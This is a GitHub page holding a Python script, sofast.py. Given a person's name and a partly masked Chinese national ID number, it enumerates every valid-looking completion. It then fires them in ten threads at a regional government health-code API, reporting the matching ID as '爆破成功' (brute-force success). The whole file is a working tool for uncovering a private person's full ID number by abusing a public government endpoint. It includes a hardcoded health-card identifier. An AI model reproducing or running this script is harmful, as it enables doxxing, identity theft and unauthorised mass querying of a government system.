-
Notifications
You must be signed in to change notification settings - Fork 0
/
sofast.py
359 lines (318 loc) · 10.8 KB
/
sofast.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
import os
import string
import itertools
import requests
import threading
k=input("姓名")
b=input("请输入身份证,未知用‘*’表示")
print("开始运行,已经过滤掉不符合实际的身份证")
print("范围:1950-2022")
def check_id_length(n):
if len(str(n)) != 18:
#print("只支持18位身份证号查询")
return False
else:
return True
def check_id_data(n):
if int(n[6:10])>2022 or int(n[6:10])<1950:#年
return False
if int(n[10:12])>12:#月份
return False
if int(n[12:14])>31:#日期
return False
var=[7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2]
var_id=['1','0','X','9','8','7','6','5','4','3','2']
n = str(n)
sum = 0
if int(n[16])%2==0:
gender="女"
same=int(int(n[16])/2)
else:
gender="男"
same=int((int(n[16])+1)/2)
for i in range(0,17):
sum += int(n[i])*var[i]
sum %= 11
if (var_id[sum])==str(n[17]):
#print("身份证号规则核验通过,校验码是:",var_id[sum])
#print("出生于:",n[6:10],"年",n[10:12],"月",n[12:14],"日","性别:",gender,"\n当地同性别同生日排名:",same)
return True
else:
#print("出生于:",n[6:10],"年",n[10:12],"月",n[12:14],"日","性别:",gender,"\n当地同性别同生日排名:",same)
#print("但身份证号规则核验失败,校验码应为",var_id[sum],",当前校验码是:",n[17])
return False
a1 = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
a2 = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
a3 = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
a4 = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
a5 = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
a6 = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
a7 = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
a8 = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
a9 = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
a10 = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
a11 = ["0", "1"]
a12 = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
a13 = ["0", "1", "2", "3"]
a14 = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
a15 = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
a16 = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
a17 = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
a18 = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "X"]
if b[0:1]!="*":
a1=[b[0:1]]
if b[1:2]!="*":
a2=[b[1:2]]
if b[2:3]!="*":
a3=[b[2:3]]
if b[3:4]!="*":
a4=[b[3:4]]
if b[4:5]!="*":
a5=[b[4:5]]
if b[5:6]!="*":
a6=[b[5:6]]
if b[6:7]!="*":
a7=[b[6:7]]
if b[7:8]!="*":
a8=[b[7:8]]
if b[8:9]!="*":
a9=[b[8:9]]
if b[9:10]!="*":
a10=[b[9:10]]
if b[10:11]!="*":
a11=[b[10:11]]
if b[11:12]!="*":
a12=[b[11:12]]
if b[12:13]!="*":
a13=[b[12:13]]
if b[13:14]!="*":
a14=[b[13:14]]
if b[14:15]!="*":
a15=[b[14:15]]
if b[15:16]!="*":
a16=[b[15:16]]
if b[16:17]!="*":#检测男女
if int(b[16:17])%2==0:
print("检测性别 女")
else:
print("检测性别 男")
a17=[b[16:17]]
if b[17:18]!="*":
a18=[b[17:18]]
if b[16:17]=="*":#输入男女
m=input("请输入性别‘男’或‘女’或者‘未知’")
if m=="男":
a17=["1","3","5","7","9"]
elif m=="女":
a17=["0","2","4","6","8"]
with open(r'过滤后.txt','a+',encoding='utf-8') as test:
test.truncate(0)
f = open("过滤后.txt", "a")
for result in itertools.product(a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18):
x="".join(result)
#print(x)
if check_id_length(x) and check_id_data(x):
f.write(x+'\n')
#print(x)
f.close()
#开始分割
with open(r'过滤后_part0.txt','a+',encoding='utf-8') as test:
test.truncate(0)
with open(r'过滤后_part1.txt','a+',encoding='utf-8') as test:
test.truncate(0)
with open(r'过滤后_part2.txt','a+',encoding='utf-8') as test:
test.truncate(0)
with open(r'过滤后_part3.txt','a+',encoding='utf-8') as test:
test.truncate(0)
with open(r'过滤后_part4.txt','a+',encoding='utf-8') as test:
test.truncate(0)
with open(r'过滤后_part5.txt','a+',encoding='utf-8') as test:
test.truncate(0)
with open(r'过滤后_part6.txt','a+',encoding='utf-8') as test:
test.truncate(0)
with open(r'过滤后_part7.txt','a+',encoding='utf-8') as test:
test.truncate(0)
with open(r'过滤后_part8.txt','a+',encoding='utf-8') as test:
test.truncate(0)
with open(r'过滤后_part9.txt','a+',encoding='utf-8') as test:
test.truncate(0)
with open(r'过滤后_part10.txt','a+',encoding='utf-8') as test:
test.truncate(0)
sourceFileName = "过滤后.txt" #定义要分割的文件
def cutFile():
print("正在读取文件...")
sourceFileData = open(sourceFileName,'r',encoding='utf-8')
ListOfLine = sourceFileData.read().splitlines()#将读取的文件内容按行分割,然后存到一个列表中
n = len(ListOfLine)
print("文件共有"+str(n)+"行")
m = 10 #定义分割的文件个数
p = n//m + 1
print("需要将文件分成"+str(m)+"个子文件")
print("每个文件最多有"+str(p)+"行")
print("开始进行分割···")
for i in range(m):
print("正在生成第"+str(i+1)+"个子文件")
destFileName = os.path.splitext(sourceFileName)[0]+"_part"+str(i)+".txt" #定义分割后新生成的文件
destFileData = open(destFileName,"w",encoding='utf-8')
if(i==m-1):
for line in ListOfLine[i*p:]:
destFileData.write(line+'\n')
else:
for line in ListOfLine[i*p:(i+1)*p]:
destFileData.write(line+'\n')
destFileData.close()
print("分割完成")
cutFile()
#开始多线程
with open(r'匹配的身份证.txt','a+',encoding='utf-8') as test:
test.truncate(0)
def panduan(q):
datas = { 'name':k,'cardNo':q,'ehealthCardId':'309B2836C93384E23624B43B53D3090E8BC4526F9B246D7B4E6A3AF14FDF3380'}
r = requests.post("https://jkt.jzswjw.gov.cn/AREAServer/epidemicNew/getXgYmInfo", data=datas).json()
#print(r)
if len(str(r))>100:
return True
else:
return False
def thread1():
for line in open("过滤后_part0.txt"):
line = line[:-1]
y=line
if panduan(y):
print("爆破成功:"+k+"——"+y)
f=open("匹配的身份证.txt","a")
f.write("爆破成功:"+k+"——"+y+'\n')
f.close()
else:
print("不匹配"+y)
def thread2():
for line in open("过滤后_part1.txt"):
line = line[:-1]
y=line
if panduan(y):
print("爆破成功:"+k+"——"+y)
f=open("匹配的身份证.txt","a")
f.write("爆破成功:"+k+"——"+y+'\n')
f.close()
else:
print("不匹配"+y)
def thread3():
for line in open("过滤后_part2.txt"):
line = line[:-1]
y=line
if panduan(y):
print("爆破成功:"+k+"——"+y)
f=open("匹配的身份证.txt","a")
f.write("爆破成功:"+k+"——"+y+'\n')
f.close()
else:
print("不匹配"+y)
def thread4():
for line in open("过滤后_part3.txt"):
line = line[:-1]
y=line
if panduan(y):
print("爆破成功:"+k+"——"+y)
f=open("匹配的身份证.txt","a")
f.write("爆破成功:"+k+"——"+y+'\n')
f.close()
else:
print("不匹配"+y)
def thread5():
for line in open("过滤后_part4.txt"):
line = line[:-1]
y=line
if panduan(y):
print("爆破成功:"+k+"——"+y)
f=open("匹配的身份证.txt","a")
f.write("爆破成功:"+k+"——"+y+'\n')
f.close()
else:
print("不匹配"+y)
def thread6():
for line in open("过滤后_part5.txt"):
line = line[:-1]
y=line
if panduan(y):
print("爆破成功:"+k+"——"+y)
f=open("匹配的身份证.txt","a")
f.write("爆破成功:"+k+"——"+y+'\n')
f.close()
else:
print("不匹配"+y)
def thread7():
for line in open("过滤后_part6.txt"):
line = line[:-1]
y=line
if panduan(y):
print("爆破成功:"+k+"——"+y)
f=open("匹配的身份证.txt","a")
f.write("爆破成功:"+k+"——"+y+'\n')
f.close()
else:
print("不匹配"+y)
def thread8():
for line in open("过滤后_part7.txt"):
line = line[:-1]
y=line
if panduan(y):
print("爆破成功:"+k+"——"+y)
f=open("匹配的身份证.txt","a")
f.write("爆破成功:"+k+"——"+y+'\n')
f.close()
else:
print("不匹配"+y)
def thread9():
for line in open("过滤后_part8.txt"):
line = line[:-1]
y=line
if panduan(y):
print("爆破成功:"+k+"——"+y)
f=open("匹配的身份证.txt","a")
f.write("爆破成功:"+k+"——"+y+'\n')
f.close()
else:
print("不匹配"+y)
def thread10():
for line in open("过滤后_part9.txt"):
line = line[:-1]
y=line
if panduan(y):
print("爆破成功:"+k+"——"+y)
f=open("匹配的身份证.txt","a")
f.write("爆破成功:"+k+"——"+y+'\n')
f.close()
else:
print("不匹配"+y)
if __name__ == "__main__":
t1 = threading.Thread(target=thread1)
t2 = threading.Thread(target=thread2)
t3 = threading.Thread(target=thread3)
t4 = threading.Thread(target=thread4)
t5 = threading.Thread(target=thread5)
t6 = threading.Thread(target=thread6)
t7 = threading.Thread(target=thread7)
t8 = threading.Thread(target=thread8)
t9 = threading.Thread(target=thread9)
t10 = threading.Thread(target=thread10)
t1.start()
t2.start()
t3.start()
t4.start()
t5.start()
t6.start()
t7.start()
t8.start()
t9.start()
t10.start()
t1.join()
t2.join()
t3.join()
t4.join()
t5.join()
t6.join()
t7.join()
t8.join()
t9.join()
t10.join()
o=input("运行完成,按回车键退出")